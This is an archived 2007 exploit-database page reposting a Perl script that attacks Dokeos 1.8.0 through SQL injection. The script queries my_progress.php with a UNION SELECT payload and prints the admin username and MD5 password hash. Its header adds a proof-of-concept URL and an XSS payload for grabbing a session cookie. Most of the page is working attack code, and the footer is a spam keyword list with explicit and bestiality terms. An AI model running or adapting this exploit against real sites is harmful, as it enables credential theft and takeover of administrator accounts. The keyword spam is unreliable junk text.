about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Dokeos <= 1.8.0 (my_progress.php course) Remote SQL Injection Exploit




2007-05-24 Dokeos <= 1.8.0 (my_progress.php course) Remote SQL Injection Exploit
Rated as : High Risk

#!/usr/bin/perl -w

#################################################################################
#                                        					#
#                    Dokeos <= 1.8.0 SQL Injection Exploit           
		#
#                                        					#
# Discovered by: Silentz                            				#
# Payload: Admin Username & Hash Retrieval                    			#
# Website: http://www.w4ck1ng.com                        			#
#                                         					#
# Vulnerable Code (my_progress.php):                         			# 
#                                        					#
#    if(isset($_GET['course'])) {$sqlInfosCourse = "SELECT
course.code,    	#
#  course.title,course.db_name,CONCAT(user.firstname,' ',user.lastname ,'
/ ',  #
#  user.email) as tutor_infos FROM $tbl_user as user,$tbl_course as course
INNER#
#  JOIN $tbl_session_course as sessionCourse ON sessionCourse.course_code
=     #
#  course.code WHERE sessionCourse.id_coach = user.user_id AND
course.code=     #
#  '".$_GET['course']."'";                           				#
#                                        					#
#                                       					#
# PoC: http://victim.com/dokeos/main/auth/my_progress.php?course=-999'    
    	# 
#      UNION SELECT 0,password,0,username FROM user where user_id = '1'/* 
  	#
#                                        					#
#                                         					#
# Subject To: magic_quotes_gpc set to off & have an already existant      
  	# 
#             student/teacher account                        			#
#                                        					#
# GoogleDork: Get your own!                            				#
# Shoutz: The entire w4ck1ng community                        			# 
#                                        					#
# Notes: To obtain SESSION_ID field you can log on and XSS yourself, like
so:   #
#                                        					#
#     http://victim.com/dokeos/main/inc/lib/fckeditor/editor/plugins/   
	#
#    
ImageManager/editor.php?img="><script>alert(document.cookie)</script>
   	#
#                                        					# 
#     Also, the amount of XSS vulnerabilites in this application is truely
   	#
#     unbelievable.                                				#
#                                        					#
#################################################################################


use LWP::UserAgent;
if (@ARGV < 2){
print
"-------------------------------------------------------------------------rn";
print "                  Dokeos <= 1.8.0 SQL Injection
Exploitrn"; 
print
"-------------------------------------------------------------------------rn";
print "Usage: w4ck1ng_dokeos.pl [PATH] [SESSION_ID]rnrn";
print "[PATH] = Path where Dokeos is locatedrn"; 
print "[SESSION_ID] = Session identifier of logged on
userrnrn";
print "e.g. w4ck1ng_dokeos.pl http://victim.com/dokeos/
cjjjauie95inbmo5fim8m93vo1rn";
print
"-------------------------------------------------------------------------rn";
print "                     http://www.w4ck1ng.comrn ";
print "                            ...Silentzrn";
print
"-------------------------------------------------------------------------rn";
exit();
}

$b = LWP::UserAgent->new() or die "Could not initialize
browsern"; 
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$cookie = "$ARGV[1];";
$host = $ARGV[0] . "main/auth/my_progress.php?course=-999' UNION
SELECT 0,password,0,username FROM user where user_id = '1'/*"; 

my @cookie = ('Cookie' => "dk_sid=$cookie;");
my $res = $b->get($host, @cookie);

$answer = $res->content;
if ($answer =~ / - Coach : (.*?)</strong>/){
print
"-------------------------------------------------------------------------rn";

print "                  Dokeos <= 1.8.0 SQL Injection
Exploitrn";
print
"-------------------------------------------------------------------------rn";
print "[+] Admin User : $1n"; 
}

if ($answer =~/<strong>([0-9a-fA-F]{32}) - Coach :/){
print "[+] Admin Hash : $1n";
print
"-------------------------------------------------------------------------rn";
print "                      http://www.w4ck1ng.comrn";
print "                            ...Silentzrn";
print
"-------------------------------------------------------------------------rn";
}

else { 
  print "nExploit Failed...n";
}

securitydot.net - 2007-05-24

Advertising

Copyright 2007, SecurityDot
Sun, 08 Nov 2009 07:06:09 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
89girl sex.fr Www.sex19. t689t port 4899 fast bb t250t www.telgus zootube.36 sanias www.davinc news for c unixmail.p blackice SEX MOVIES www.czxfjd www.btclpu Sameera nu www.68035. pornmovies zoo sex tu www.parkba shakeelaho www.98.com power down www.03469. Site lo814l www.kxs99. zoo sex tu www.dezhou 96325 Hot and se porno www.tub8.c SCP WWW.3PIC.C sleazydrea g-bani te Nacked gir www.010jdn xxxwovis nishad.niy belgacom www.gzduba Vidio anak burning bo bangalore dog sex pi Rusiaxxx .